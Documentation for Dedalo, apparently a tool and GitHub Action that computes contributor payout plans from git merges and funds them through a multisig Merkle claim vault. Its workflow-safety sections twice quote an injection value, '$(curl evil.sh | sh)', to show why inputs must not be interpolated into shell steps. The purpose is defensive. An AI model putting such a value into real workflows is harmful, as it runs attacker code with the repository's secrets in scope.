dedalo propose --plan ded106bd7281
prints the two transactions a round needs, with their calldata encoded, for somebody to execute from a multisig:
1. approve(claimContract, 1000000000)
to 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913
data 0x095ea7b3…
2. deposit(planId, merkleRoot, token, 1000000000)
to 0x0000000000000000000000000000000000000000
data 0xd0e30db0…
Nothing in that path opens a socket. A signer compares the printed calldata against a plan they can read, rather than trusting a tool they cannot.
The reason is narrow and worth stating: a key in CI can be reached by everything that can write a workflow. A pull request that edits a workflow file, a compromised action, a dependency with a build script — each of those becomes a path to the treasury the moment a key is in reach of a runner. There is no key in reach of a runner.
The pull model
A round is deposited once, against a Merkle root of its claims, and each contributor claims their own share.
dedalo plan ─▶ a reviewed PayoutPlan, content-addressed
dedalo propose ─▶ 1. approve(claimContract, total)
2. deposit(planId, merkleRoot, token, total)
↓
a multisig, signed by people who are not one person
↓
contributors claim, each paying their own gas
Three holes in the obvious “loop over payees and send” design that this closes:
- A contributor without a linked wallet is not a blocker. Their share sits in the round until they claim it.
- The project pays one transaction’s gas, not one per payee.
- A key in CI cannot drain the treasury, because there is no key in CI.
The vault
The rules a deployed contract enforces live in
src/chain/vault as ordinary Rust, and they are pure: no storage,
no clock, no caller. They take the state they need and return the state they
produce.
That is what makes them testable over their whole domain instead of by
deploying them somewhere and poking them. The deployable at
src/chain/contract is an Arbitrum Stylus crate that
compiles to WebAssembly and is deliberately thin — reading storage, moving a
token, knowing the time. A reader checking whether the rules are correct should
end up in vault, not in the binding.
The refusals are the specification
Refusal has one variant per way the vault says no, each with a test:
| Refusal | Why it exists |
|---|---|
RoundExists | Replay guard. A retried job proposing the same plan cannot fund it twice. |
RoundUnknown | Nothing was deposited for this plan id. |
NothingToDeposit | A round with no root or no total can never be claimed — money in, no way out. |
ShortDelivery | The token delivered less than promised. A fee-on-transfer token does this, and the round would pay early claimants and strand the rest. |
AlreadyClaimed | This index of this round is already paid. |
BadProof | The proof does not put this claim in this round’s tree. |
ExceedsRound | The claim is larger than what the round still holds. |
NotExpired | The claim window has not closed, so nothing may be swept. |
NotDepositor | Only the account that funded a round may recover what is left. |
Inconsistent | claimed exceeds total — unreachable through these functions, checked anyway, because it means something else wrote the state. |
Overflow | Arithmetic would have wrapped. |
A test asserts that no two refusals share a sentence, so a revert reason identifies exactly one rule.
The claim window is 180 days, fixed rather than chosen by the depositor. A depositor who could choose it could choose a window that closes before anybody claims.
The leaf encoding is pinned
chain::merkle::the_leaf_encoding_has_not_moved holds a root and a proof
against a fixed fixture. A deployed vault verifies proofs against that
encoding, so changing it silently would invalidate every round already
deposited. Changing it deliberately is fine — the commit has to say why.
Status
Unaudited and undeployed. The vault’s rules are tested; the deployable compiles and fits the 24 KiB Stylus limit with room to spare; nothing has been deployed and no address in any shipped config is real.
What has to exist before real funds move is the list, and it is short enough to check.
Running a round
The operational checklist. It assumes the project is configured and identities are linked; if not, start at Your first round.
Before
-
dedalo verifypasses on a fresh clone. If the ledger does not verify, stop — the range the next round covers is derived from it. -
dedalo identity missingis empty, or every name in it is a deliberate decision rather than an oversight. - The three addresses in
[wallets]are the ones you intend, confirmed out of band. Placeholders are all zeroes and settlement refuses them, but a wrong real address is refused by nothing. - The funding source actually holds the amount, plus gas.
Compute and save
dedalo plan --amount 1000 --save
--save writes the plan and records it in the ledger. Everything after this
refers to the plan by id, so the round that executes is the round that was
reviewed:
Round ded106bd7281 4 merges on main → 7f10d55
Review it in a pull request
git add .dedalo/
git commit -m "chore: propose round ded106bd7281"
git push -u origin round/ded106bd7281
The plan is JSON on purpose — it diffs. What reviewers should check is in
Reviewing a plan; the short version is
range, unresolved, shares, and that the numbers sum.
Reviewing a payout in the same place code is reviewed is most of the value. The people who would notice that a share looks wrong are the people already reading pull requests.
Simulate
$ dedalo settle --plan ded106bd7281
dry-run: 5 transfers, 1000 USDC, plan ded106bd7281
ok plan id matches its contents
ok transfers sum to the gross amount
ok no transfer to the zero address
nothing was broadcast
Run this against the saved plan, not against --amount. Recomputing here would
produce a different round if a merge landed since the review.
Fund it
dedalo propose --plan ded106bd7281
Two transactions, printed with their calldata, for signers to execute from the multisig. See Funding from a multisig for what each signer should check before approving — this is the step where money actually moves, and it is the step Dedalo cannot do for you by design.
Record it
git add .dedalo/
git commit -m "chore: settle round ded106bd7281"
git push
The ledger entry is only useful once it is committed. A round recorded on one laptop is a round the next CI job will compute again.
After
-
dedalo verifypasses. -
dedalo statusshows the round as settled and the pending range as empty. - The ledger
HEADin your release note or README is updated, if you publish one.
Cadence
Nothing in Dedalo has an opinion about how often you do this. Monthly is the common shape and has two practical advantages: the range is small enough that a reviewer can hold it in their head, and a mistake costs one month rather than one year.
What does matter is that a round covers a contiguous range with no gaps.
The range is derived from the ledger, so this is automatic as long as the
ledger is committed and --since is not used to skip past commits.
Careful —
--sinceoverrides the ledger’s cursor. It is for recomputing a range you already understand, not for choosing which merges to pay for. Using it to skip a range means those merges are never paid, and nothing later notices.
When something is wrong
| Symptom | Likely cause |
|---|---|
verify fails | The ledger was edited, or an object is missing from the clone. |
| Plan id differs from the reviewed one | History moved, or the config changed. Diff dedalo.toml. |
| A contributor is missing | Their email is not linked — check identity missing. |
| Shares look wrong | [attribution], usually max_points_per_merge. |
settle refuses | Read the message; every refusal names exactly one rule. |
Nothing here is fixed by editing .dedalo/ by hand. Editing it breaks the
chain, and the break is the mechanism working.
In CI
A payout belongs in the pipeline that merged the code. Dedalo ships as a GitHub Action for that reason.
The minimum
name: Funding
on:
workflow_dispatch:
inputs:
amount:
description: Size of the round
required: true
jobs:
plan:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v5
with:
fetch-depth: 0 # attribution needs the full history
- uses: dedalo-org/dedalo@v0
id: dedalo
with:
command: plan
amount: ${{ inputs.amount }}
- run: echo "plan ${{ steps.dedalo.outputs.plan-id }}"
Careful —
fetch-depth: 0is not optional. A shallow clone has no merge history, and the failure mode is not an error: it is an empty round. The Action detects a shallow clone and unshallows it with a warning, but the warning is easy to miss in a green run.
Inputs
| Input | Default | Meaning |
|---|---|---|
version | latest | Release to use, e.g. v0.1.0. Pin it for reproducible runs. |
command | status | status, scan, contributors, plan or settle. |
amount | — | Size of the round, for plan and settle. |
since | — | Start after this revision instead of the last settled commit. |
execute | false | Broadcast for real. No backend can today — see below. |
working-directory | . | Repository to operate on. |
summary | true | Write the payout plan to the workflow run summary. |
Outputs
| Output | Meaning |
|---|---|
json | Raw JSON of the command. |
plan-id | Content hash of the plan, when the command produced one. |
total | Total that would move, in base units. |
Verify the ledger on every push
The cheapest useful job in the repository, and the one that catches a ledger
that was edited or a .dedalo/ that was partly committed:
verify:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
with: { fetch-depth: 0 }
- uses: dedalo-org/dedalo@v0
with:
command: verify
No network, no key, no secrets. It either verifies or it does not.
Post the pending round on a schedule
on:
schedule:
- cron: "0 9 1 * *" # 09:00 on the first of the month
jobs:
pending:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
with: { fetch-depth: 0 }
- uses: dedalo-org/dedalo@v0
with:
command: contributors
summary: "true"
The run summary then shows who has earned what since the last round, every month, without anybody having to remember.
execute: true does nothing today
The input exists and defaults to false, and setting it to true will not
broadcast anything, because Dedalo holds no signing key and no backend can
sign. A round is funded by people executing what dedalo propose prints, from
a multisig. See Funding from a multisig.
This is not a limitation waiting to be removed. It is the design: a key in CI is reachable by everything that can write a workflow.
Workflow safety
The Action runs in other people’s repositories with their secrets in scope, and it is written accordingly. Two rules it follows, worth copying into any workflow you build around it:
- Never interpolate
${{ }}into arun:block. Pass values throughenv:. Anamountof$(curl evil.sh | sh)interpolated into a shell script executes.zizmorfails the build on this, and it is right to. - Pin third-party actions to a commit, with the tag as a trailing comment. A moving tag can be repointed at new code by whoever owns it.
Commands with side effects run once
action.yml deliberately does not re-run settle to render nicer output. If
you are wrapping Dedalo in your own workflow, do the same: one invocation, and
format its --json output rather than calling it again.
Funding from a multisig
This is the step where money moves, and it is the step Dedalo deliberately cannot do for you.
The authoritative record of these decisions is
docs/settlement-architecture.md in the repository. It is binding:
it records decisions taken before the contract existed, and if the code
disagrees with it, one of the two is wrong and the answer is not to quietly
change the code. This chapter is the operational view of the same thing.
The shape
dedalo plan --save ─▶ a reviewed PayoutPlan, content-addressed
dedalo propose ─▶ 1. approve(claimContract, total)
2. deposit(planId, merkleRoot, token, total)
↓
a Safe, signed by people who are not one person
↓
contributors claim, each paying their own gas
Why pull rather than push
The obvious design loops over payees and sends. The pull model deposits once against a Merkle root and lets each contributor claim. The difference is not stylistic:
| Push | Pull | |
|---|---|---|
| Transactions per round | one batch, or N | one deposit |
| Gas payer | the project | the claimer |
| Unlinked contributor | blocks the round, or forfeits | claims whenever they link |
| Wrong address | funds destroyed | funds unclaimed, recoverable |
| Partial failure | possible | not expressible |
The last row is the important one. A batch that fails halfway has paid some people and not others, and there is no good next move. A deposit either happened or did not.
It also dissolves the “undistributed” problem rather than patching it: money for a contributor who has not linked a wallet is not money with nowhere to go, it is money not yet claimed. That is a state, not a loss.
Why the key is not in CI
The earlier design read a signing key from an environment variable in a CI job.
That key can drain the source wallet, and everything with write access to a
workflow can reach it — which includes Dependabot’s pull requests and
anything that lands in .github/.
A compromised workflow should cost embarrassment, not the treasury.
This is why the pipeline hardening in this project matters as much as the
arithmetic: zizmor, pinned action SHAs, and the ban on interpolating
expressions into run: blocks all exist because that is the boundary a key in
CI would have crossed.
The consequence is recorded in the code: settlement.signer_env described a
capability Dedalo should not have and was removed. Do not reintroduce a
config key that names one.
What a signer should check
Before approving either transaction, and in this order:
- The plan id in
proposematches the plan that was reviewed. Not the amount — the id. Amounts repeat; ids do not. - The
toaddress of transaction 1 is the token contract named in[asset] contract, and transaction 2’stois the claim contract in[settlement] contract. - The amount in
approveequals the amount indeposit. An approval larger than the deposit leaves an allowance sitting on the token. - The Merkle root matches the plan. Recompute it from the reviewed plan rather than reading it out of the same output you are checking.
- The plan id has not been deposited before. The contract refuses a repeat
(
RoundExists), but a signer who notices first saves a failed transaction.
dedalo propose prints the calldata so that this comparison is possible
against a document a person can read, rather than against a tool they have to
trust.
Chain-agnostic, honestly
The address layer knows about address formats, not about one chain.
wallet::AddressKind names a format; Address carries which one it is, and
comparison follows that format’s rules — EVM addresses compare
case-insensitively because EIP-55 puts a checksum in the capitalisation, and a
different chain will have different rules. The config is cross-checked, so an
address that is well-formed for the wrong chain is caught.
It is an enum with one variant, not a trait with one implementation. A trait would be indirection nobody pays for today; the enum says exactly as much as is true, and adding a chain is four mechanical edits the compiler points at.
Which chain to launch on is not decided. The template names Base and real mainnet USDC — a default that was never chosen deliberately and should be before anyone broadcasts. Testnet first is the safer starting point, and that is tracked in issue #15.
Before real funds move
The list, from the architecture document:
- A claim contract with the Merkle root, a per-round replay guard keyed on the plan id, and an expiry path for unclaimed funds.
- An independent audit of it, published.
- A Safe, with signers who are not one person.
- A testnet round settled end to end, from
dedalo planto a claim. Removal ofDone.settlement.signer_env.
Until the first four, the honest state of this project is what the code already
says: Error::NotImplemented.
What exists today, and what it is worth
The vault’s rules are pure Rust, driven over their whole domain by tests rather than by deploying them somewhere and poking them. The deployable binds them to Arbitrum Stylus and does nothing else.
That is worth something. It is not an audit. Nobody outside the repository has looked at it, it has never held a coin, and the reentrancy, ERC-20 and expiry paths have been reasoned about by their author and tested by their author.
What was given up should be said plainly too: the previous vault was Solidity,
and solc’s model checker discharged all ten of its arithmetic conditions with
a solver — a stronger statement than any test. Rust has no equivalent that
terminates on this codebase; Kani was measured and rejected. The rules are now
in one language, tested with the same machinery as the rest of the money path,
and proved by nothing.
Treat it as a specification that happens to compile.
Auditing a project
You have found a project that says it pays contributors with Dedalo. This chapter is how to check that from the outside, without asking the maintainer for anything.
Everything below runs on a clone. None of it needs a key, a token, an API, or the maintainer’s cooperation — which is the property that makes the claim worth anything.
1. Clone and verify the chain
git clone --filter=blob:none https://github.com/some/project
cd project
dedalo verify
head dedc6ddbbef5415e6dcbf805b60affd83c49
ok 4 entries hash to their recorded ids
ok 2 settled plans present and self-consistent
Each ledger entry names its parent and hashes over it, so an entry edited after
the fact breaks every id after it and HEAD stops matching. A pass means the
record you are reading is the record that was written.
A failure means one of three things: an entry was edited, an object is missing
from the clone, or .dedalo/ was partly committed. All three are worth asking
about.
2. Recompute a round
dedalo plan --amount 1000 --since af3141b5 --json | jq -r .id
Compare the id against the one in the ledger entry. If they match, the published round is exactly what this history and this config produce. If they do not, either the config changed after the round or the numbers did not come from here.
Note — use the same
--sinceand the same amount the round used. Both are recorded in the ledger entry, so this is a lookup rather than a guess.
3. Read the policy
dedalo.toml is committed, and it is the whole policy. Four things to look at:
| Read | Ask |
|---|---|
[fees] | Where does the money that is not paid to contributors go? |
[wallets] | Are these real, and does anybody say who controls them? |
[attribution] | Does the scoring match what the project says it rewards? |
[git] ignore_emails | Is anybody excluded who should not be? |
git log -p dedalo.toml shows every time the policy changed and who approved
it. A funding policy that changes the round before a round is not necessarily
wrong — but it is a thing to see rather than not see.
4. Look at who is not being paid
dedalo plan --amount 1000 --json | jq '.unresolved'
unresolved lists contributors who earned a share and have no wallet on file.
A long list on a project that has run several rounds means people are earning
and not being reached.
5. Check the money adds up
dedalo plan --amount 1000 --json |
jq '[( .items[].amount | tonumber ), (.undistributed | tonumber)] | add == (.gross|tonumber)'
The code guarantees this and property tests hold it down. Checking it once yourself is how you find out that you understand the document rather than trusting the sentence that describes it.
What auditing this does not tell you
Being clear about the limits is the point of the exercise:
- It does not tell you the money arrived. The ledger records what was planned and settled from Dedalo’s side. Whether a transaction was executed by the multisig, and whether contributors claimed, is a question for the chain.
- It does not tell you the scoring is fair. It tells you the scoring is what the config says. Whether the config is fair is a judgement, and it is the project’s to make and yours to disagree with.
- It does not audit the contract. The vault is unaudited and undeployed. See Funding from a multisig.
- It does not verify identities. That a handle maps to a wallet is an
assertion the maintainer made. Nothing checks that
adais the Ada you think.
For funders
If you are considering funding a project through Dedalo, the four checks above take about ten minutes and answer the question “does what they publish match what their repository produces”. That is a narrower question than “is this project worth funding”, and it is the one that can be answered mechanically.
The rest — whether the work is good, whether the split is fair, whether the maintainers are who they say — is the same judgement funding anything requires. Dedalo’s contribution is removing the part that used to require trust and can instead be arithmetic.
Command line
$ dedalo --help
Turn code merges into sustainable open-source funding
Every command accepts the global options below, and every command that produces
data accepts --json.
Global options
| Option | Meaning |
|---|---|
-C, --repo <PATH> | Repository to operate on. Defaults to the current directory. |
--json | Emit machine-readable JSON instead of tables. See JSON output. |
-v, --verbose | Increase log verbosity. Repeatable. |
-h, --help | Help for the binary or a subcommand. |
-V, --version | Version. |
Dedalo finds dedalo.toml by walking up from --repo (or the current
directory), the way git finds .git. The directory holding it is the
repository root for everything that follows.
Range options
scan, contributors, plan, settle, propose and identity missing all
take the same pair:
| Option | Meaning |
|---|---|
--since <REV> | Start after this revision instead of the last settled commit. |
--limit <N> | Show at most this many entries. |
Careful —
--sinceoverrides the ledger’s cursor. It is for recomputing a range you already understand. Using it to skip merges means those merges are never paid for, and nothing later notices.
dedalo init
Create a dedalo.toml in this repository.
| Option | Meaning |
|---|---|
--name <NAME> | Project name. Defaults to the repository directory name. |
--open-collective <SLUG> | Open Collective slug that receives the protocol fee. |
--force | Overwrite an existing dedalo.toml. |
The file it writes is commented, and it is meant to be committed and reviewed.
dedalo scan
List merges that have not been paid out yet.
Reads merge commits on the branch named in [git] branch, starting after the
last settled commit in the ledger. Takes the range options.
dedalo contributors
Show contribution scores for the pending range, in milli-points and as a share.
Takes the range options. This is plan without the money:
useful for showing people where they stand before a round is funded.
dedalo plan
Compute a payout plan for a funding round.
| Option | Meaning |
|---|---|
--amount <AMOUNT> | Required. Size of the round, as a decimal amount of the configured asset. |
--save | Store the plan in .dedalo and record it in the ledger. |
Plus the range options.
--save is what makes a round referable by id afterwards. Use it for any round
somebody other than you will review — see
Running a round.
dedalo settle
Execute a payout plan. Simulates unless --execute is given.
| Option | Meaning |
|---|---|
--plan <PLAN_ID> | Settle a plan that was already saved, by id. |
--amount <AMOUNT> | Compute a fresh plan of this size and settle it. Required unless --plan. |
--execute | Actually broadcast, using the backend from dedalo.toml. |
--allow-undistributed | Settle even though the contributor pool reached nobody. |
Plus the range options. --plan and --amount conflict.
--execute does not broadcast today: no backend can sign, because
Dedalo holds no signing key.
The evm backend builds the exact call and returns NotImplemented.
--allow-undistributed is only meaningful when nobody in the round has a
wallet on file, which normally means an identity link is missing rather than
that you meant to send the fees alone.
dedalo propose
Emit the transactions a multisig must run to fund a round. Dedalo signs nothing and holds no key.
| Option | Meaning |
|---|---|
--plan <PLAN_ID> | Propose a plan that was already saved, by id. |
--amount <AMOUNT> | Compute a fresh plan of this size and propose it. Required unless --plan. |
--save | Store the plan before proposing it, so the round the signers execute is the one on disk. |
Plus the range options. --plan and --amount conflict.
Prints approve and deposit with their calldata encoded. See
what a signer should check.
dedalo status
Show the current funding state of the project: the configured asset and fee split, the pending range, the last settled round, and the lifetime total paid.
dedalo verify
Recompute the ledger chain and confirm nothing was changed after the fact.
Needs no network, no key and no credentials — anyone with a clone can run it. Exits non-zero if the chain does not verify, so it belongs in CI. See The ledger.
dedalo ledger
Print the event ledger.
| Option | Default | Meaning |
|---|---|---|
--limit <N> | 20 | Show only the last N entries. |
--migrate | Convert a pre-chain ledger.jsonl into chain entries, then stop. |
dedalo identity
Manage the git-identity to wallet mapping.
identity list
List known identities.
identity link <HANDLE> <WALLET> --email <EMAIL>...
Map one or more git emails to a wallet.
| Argument | Meaning |
|---|---|
<HANDLE> | Handle used in reports, e.g. a GitHub username. |
<WALLET> | Destination wallet address. |
--email <EMAIL> | Git author email to attach. Repeatable, and required. |
Validates the address and reports how many bits of EIP-55 checksum protect it — see How strong is the checksum.
identity remove <HANDLE>
Remove an identity by handle. Does not touch history: the person’s past rounds stay in the ledger, and future rounds list them as unresolved.
identity missing
Show contributors in history that have no wallet yet. Takes the range options.
Run this before every round.
dedalo.toml
The funding policy. It lives at the repository root, it is committed, and it is reviewed like any other change — because it decides what people are paid.
Every table is validated on load, and unknown keys are rejected rather than ignored. A typo in a key name would otherwise silently fall back to a default, and a default fee schedule is not a thing to arrive at by accident.
dedalo init writes a commented template. Below is every key it can contain.
[project]
[project]
name = "my-project"
repository = "https://github.com/me/my-project"
open_collective = "my-project"
| Key | Required | Default | Meaning |
|---|---|---|---|
name | yes | — | Project name, used in plans and reports. Part of the plan id. |
repository | no | — | Canonical repository URL. |
open_collective | no | — | Open Collective slug this project self-funds through. |
[git]
[git]
branch = "main"
ignore_subjects = ["chore(release)", "Merge branch"]
ignore_emails = ["noreply@github.com", "actions@github.com"]
| Key | Default | Meaning |
|---|---|---|
branch | "main" | Merges into this branch are what earn a payout. |
ignore_subjects | [] | Merges whose subject starts with one of these are skipped entirely. |
ignore_emails | ["noreply@github.com", "actions@github.com"] | Emails that never receive a payout, however much they commit. |
ignore_subjects matches on prefix; ignore_emails matches exactly. No
globbing, no regular expressions — a pattern language here is a place for a
subtle mistake to hide, and what it decides is who gets paid.
Note — the default
ignore_emailscovers GitHub’s own noreply and Actions addresses. If your CI commits under a different address, add it. A bot with a wallet is a way for a round to leak.
[attribution]
[attribution]
base_points = 100
points_per_insertion = 1.0
points_per_deletion = 0.5
max_points_per_merge = 5000
credit_merger = false
split_with_co_authors = true
| Key | Default | Meaning |
|---|---|---|
base_points | 100 | Flat score every merged pull request earns, regardless of size. |
points_per_insertion | 1.0 | Score per added line. |
points_per_deletion | 0.5 | Score per removed line. Deleting code is work too. |
max_points_per_merge | 5000 | Ceiling per merge, so one vendored dependency cannot drain a round. |
credit_merger | false | Also credit whoever pressed merge, on top of the commit authors. |
split_with_co_authors | true | Share a commit’s score with its Co-authored-by: trailers. |
The two per-line values are decimals in the file because that is how people think about them, and they are converted to integer milli-points once, at load. Nothing downstream sees a float. See Attribution.
Money — changing anything in this table changes what people are paid, so it changes the plan id too. Under the release policy a change to attribution defaults in Dedalo itself is a breaking change even when it compiles.
[asset]
[asset]
symbol = "USDC"
decimals = 6
chain = "base"
contract = "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"
| Key | Required | Meaning |
|---|---|---|
symbol | yes | Display symbol. |
decimals | yes | Decimal places the token uses on chain. Every amount you type is converted to base units with this. |
chain | yes | Chain identifier, e.g. base. Cross-checked against address formats. |
contract | no | Token contract address. Omit for the chain’s native coin. |
Careful —
decimalsis not cosmetic. It converts--amount 1000into base units. Getting it wrong by one scales every round by ten, in whichever direction is worse.
[fees]
[fees]
protocol_bps = 250 # 2.5% → the network's Open Collective
treasury_bps = 1500 # 15% → this project's reserve
# 82.5% → contributors
| Key | Default | Meaning |
|---|---|---|
protocol_bps | 250 | Share routed to the Open Collective wallet that funds the network. |
treasury_bps | 1500 | Share retained by the project for future rounds, audits, infrastructure. |
Basis points: 10,000 = 100%. A schedule where the two reach 10,000 is rejected, because contributors would receive nothing and that is never what somebody meant to configure.
Fees are taken off the top, protocol first, and they round down — the remainder stays with contributors. Both properties are proved over every schedule that validates. See Money.
[wallets]
[wallets]
source = "0x…" # funds each round is paid out of
treasury = "0x…" # this project's own reserve
open_collective = "0x…" # the network's wallet, receiving protocol_bps
All three are required and all three are validated on load. dedalo init
writes the zero address as a placeholder, and settlement refuses to send to it.
Careful — a placeholder is refused. A wrong real address is refused by nothing. Confirm each of these out of band before a round moves money, and read how strong the checksum is before deciding that a valid address is a correct one.
[settlement]
[settlement]
backend = "dry-run"
# rpc_url = "https://…"
# chain_id = 8453
# contract = "0x…"
| Key | Default | Meaning |
|---|---|---|
backend | "dry-run" | dry-run computes and verifies without spending. evm validates and builds the call, then refuses to sign. |
rpc_url | — | JSON-RPC endpoint of the chain. |
chain_id | — | EIP-155 chain id, checked against the endpoint. |
contract | — | Claim contract a round is deposited into. |
There is no key here, and there must never be one. settlement.signer_env,
which named an environment variable holding a signing key, was removed on
purpose. Dedalo does not sign; dedalo propose prints transactions for a
multisig. See Funding from a multisig.
[[identities]]
[[identities]]
handle = "ada"
wallet = "0xAdA0000000000000000000000000000000000000"
emails = ["ada@example.com", "ada@work.example"]
| Key | Meaning |
|---|---|
handle | Label used in reports. Usually a GitHub username; nothing checks it. |
wallet | Destination address, validated and checksummed on load. |
emails | Every git author email this person commits under. |
Repeat the table for each contributor. Manage it with
dedalo identity rather than by hand — the command
validates the address and reports how much that validation is worth.
One handle, one wallet, many emails: that is what makes one wallet, one transfer true.
A complete example
[project]
name = "my-project"
repository = "https://github.com/me/my-project"
open_collective = "my-project"
[git]
branch = "main"
ignore_subjects = ["chore(release)"]
ignore_emails = ["noreply@github.com", "actions@github.com"]
[attribution]
base_points = 100
points_per_insertion = 1.0
points_per_deletion = 0.5
max_points_per_merge = 5000
credit_merger = false
split_with_co_authors = true
[asset]
symbol = "USDC"
decimals = 6
chain = "base"
contract = "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"
[fees]
protocol_bps = 250
treasury_bps = 1500
[wallets]
source = "0x1111111111111111111111111111111111111111"
treasury = "0x2222222222222222222222222222222222222222"
open_collective = "0x3333333333333333333333333333333333333333"
[settlement]
backend = "dry-run"
[[identities]]
handle = "ada"
wallet = "0xAdA0000000000000000000000000000000000000"
emails = ["ada@example.com"]
JSON output
Every command takes --json. The shape is a contract, not incidental
output: action.yml parses it, and tests/cli.rs pins the fields it reads, so
renaming one fails the build instead of silently breaking the Action.
Treat it as a public API. Removing or renaming a field is a breaking change under the release policy.
Amounts are strings
{ "gross": "1000000000", "undistributed": "197710000" }
Every amount is a u128 count of base units, serialised as a decimal
string. JSON numbers are IEEE doubles: anything above 2^53 loses precision
silently, which is well inside the range of a token with 18 decimals.
Parse them as big integers, never as floats.
# right
jq -r '.split.gross' plan.json
# wrong — jq's numbers are doubles
jq '.split.gross | tonumber' plan.json
dedalo plan --json
The serialised PayoutPlan:
{
"id": "ded106bd7281…",
"project": "my-project",
"created_at": 1766000000,
"asset": { "symbol": "USDC", "decimals": 6, "chain": "base", "contract": "0x8335…" },
"range": { "branch": "main", "from_commit": "af3141b5…", "to_commit": "7f10d55…", "merges": 4 },
"split": {
"gross": "1000000000",
"protocol": "25000000",
"treasury": "150000000",
"contributors": "825000000"
},
"items": [
{ "kind": "contributor", "handle": "ada", "wallet": "0xAdA…",
"amount": "514390000", "score": 1124000, "share_bps": 5144 }
],
"undistributed": "197710000",
"unresolved": [
{ "name": "Cy", "email": "cy@example.com", "score": 432000, "reason": "no-wallet" }
]
}
| Field | Type | Meaning |
|---|---|---|
id | string | Content hash, prefixed ded1. |
project | string | From [project] name. |
created_at | number | Unix seconds. Not part of id. |
asset | object | symbol, decimals, chain, optional contract. |
range.branch | string | Branch the merges came from. |
range.from_commit | string? | Exclusive lower bound. Absent on the first round. |
range.to_commit | string | Newest merge in the round. |
range.merges | number | How many merges the round covers. |
split | object | gross, protocol, treasury, contributors — all base-unit strings. |
items[].kind | string | contributor, treasury or protocol. |
items[].handle | string | Label. |
items[].wallet | string | Checksummed address. |
items[].amount | string | Base units. |
items[].score | number | Attribution weight in milli-points; 0 for fee recipients. |
items[].share_bps | number | Share of the gross, for human review. |
undistributed | string | Contributor pool that reached nobody. |
unresolved[].reason | string | no-wallet, excluded or ignored. |
The invariant to assert in any script that consumes this:
Σ items[].amount + undistributed == split.gross
dedalo contributors --json
The serialised Attribution:
{
"contributions": [
{ "author": { "name": "Ada", "email": "ada@example.com" },
"score": 1124000, "merges": 2, "commits": 5,
"insertions": 592, "deletions": 50 }
],
"merges_analysed": 4,
"total_score": 1803000
}
contributions is ordered highest score first. total_score is the
denominator of the split — a contributor’s share is score / total_score.
dedalo scan --json
An array of MergeEvent, oldest first:
[
{ "sha": "9c2f1ab…",
"merged_by": { "name": "Ada", "email": "ada@example.com" },
"merged_at": 1765900000,
"subject": "feat(parser): streaming tokenizer",
"commits": [
{ "sha": "3e1f…", "author": { "name": "Ada", "email": "ada@example.com" },
"co_authors": [], "authored_at": 1765890000,
"subject": "parse without buffering" }
],
"diff": { "files_changed": 7, "insertions": 412, "deletions": 38 } }
]
dedalo status --json
{
"project": "my-project",
"branch": "main",
"asset": { "symbol": "USDC", "decimals": 6, "chain": "base", "contract": "0x8335…" },
"pending_merges": 4,
"pending_contributors": 3,
"fees": { "protocol_bps": 250, "treasury_bps": 1500, "contributor_bps": 8250 },
"settlement_backend": "dry-run",
"state": { }
}
dedalo verify --json
{
"ok": true,
"head": "dedc6ddbbe…",
"entries": 4,
"plans_checked": 2,
"problems": []
}
problems carries { "plan": "…", "reason": "…" } for anything that did not
check out. ok is also reflected in the exit code, so a script can branch on
either.
dedalo ledger --json
An array of entries, plus { "migrated": N } for --migrate.
dedalo propose --json
The serialised RoundProposal:
{
"plan_id": "ded106bd7281…",
"merkle_root": "0x…",
"claim_contract": "0x…",
"token": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913",
"total": "825000000",
"claims": 3,
"transactions": [
{ "step": 1, "description": "approve the claim contract to move 825 USDC",
"chain_id": 8453, "to": "0x8335…", "value": "0", "data": "0x095ea7b3…" },
{ "step": 2, "description": "deposit round ded106bd7281 against its root",
"chain_id": 8453, "to": "0x…", "value": "0", "data": "0x…" }
]
}
total is the sum of every claim, and it is what the deposit must cover
exactly. transactions is ordered: a deposit before its approval reverts.
data is what a signer compares against the plan — see
what a signer should check.
dedalo identity link --json
{ "handle": "ada", "wallet": "0xAdA…",
"emails": ["ada@example.com"], "checksum_bits": 15 }
checksum_bits is how much EIP-55 validation is worth for that address — see
How strong is the checksum.
identity remove returns { "removed": "ada" }.
Errors
A command that fails writes a human message to stderr and exits non-zero. With
--json, stdout carries the machine-readable result of a successful run
only; do not parse stdout without checking the exit code first.
if out=$(dedalo plan --amount 1000 --json); then
echo "$out" | jq -r .id
else
echo "planning failed" >&2
exit 1
fi
GitHub Action
dedalo-org/dedalo@v0 is a composite action that installs the released binary
and runs one subcommand.
- uses: actions/checkout@v5
with:
fetch-depth: 0
- uses: dedalo-org/dedalo@v0
id: dedalo
with:
command: plan
amount: "1000"
The operational guidance — whole workflows, scheduling, what to run on every push — is in In CI. This page is the interface.
Inputs
| Input | Default | Meaning |
|---|---|---|
version | latest | Release to use, e.g. v0.1.0. |
command | status | status, scan, contributors, plan or settle. |
amount | "" | Size of the round, for plan and settle, in the configured asset. |
since | "" | Start after this revision instead of the last settled commit. |
execute | "false" | Broadcast for real instead of simulating. |
working-directory | . | Repository to operate on. |
summary | "true" | Write the payout plan to the workflow run summary. |
version
Defaults to the latest release. Pin it for a workflow whose output anybody
relies on: latest means a new release changes what your pipeline runs without
a commit in your repository.
execute
Defaults to false, because the safe thing must be the default. Setting it to
true will not broadcast anything today: Dedalo holds no signing key by
design, and a round is funded by people executing what dedalo propose prints.
Outputs
| Output | Meaning |
|---|---|
json | Raw JSON output of the command. |
plan-id | Content hash of the payout plan, when the command produced one. |
total | Total that would move, in base units. |
- run: echo "round ${{ steps.dedalo.outputs.plan-id }}"
What it does before running
Checks for a shallow clone. Attribution reads merge history, and a shallow
clone produces an empty round rather than an error. The action warns and
runs git fetch --unshallow — but set fetch-depth: 0 on actions/checkout
so it never has to.
Installs the binary via install.sh, which verifies the published SHA-256.
How it is written, and why you should copy that
This action executes in other people’s repositories with their secrets in scope. Two rules it follows without exception:
- Inputs reach the shell through
env:, never through${{ }}interpolated into arun:block. Anamountof$(curl evil.sh | sh)interpolated into a script executes.zizmorfails the build on this. - Commands with side effects run once.
action.ymldeliberately does not re-runsettleto render nicer output. If you wrap it, format the--jsonoutput rather than invoking it a second time.
Permissions
plan, scan, contributors, status and verify need contents: read and
nothing else. There is no token to give it, no secret to configure, and no
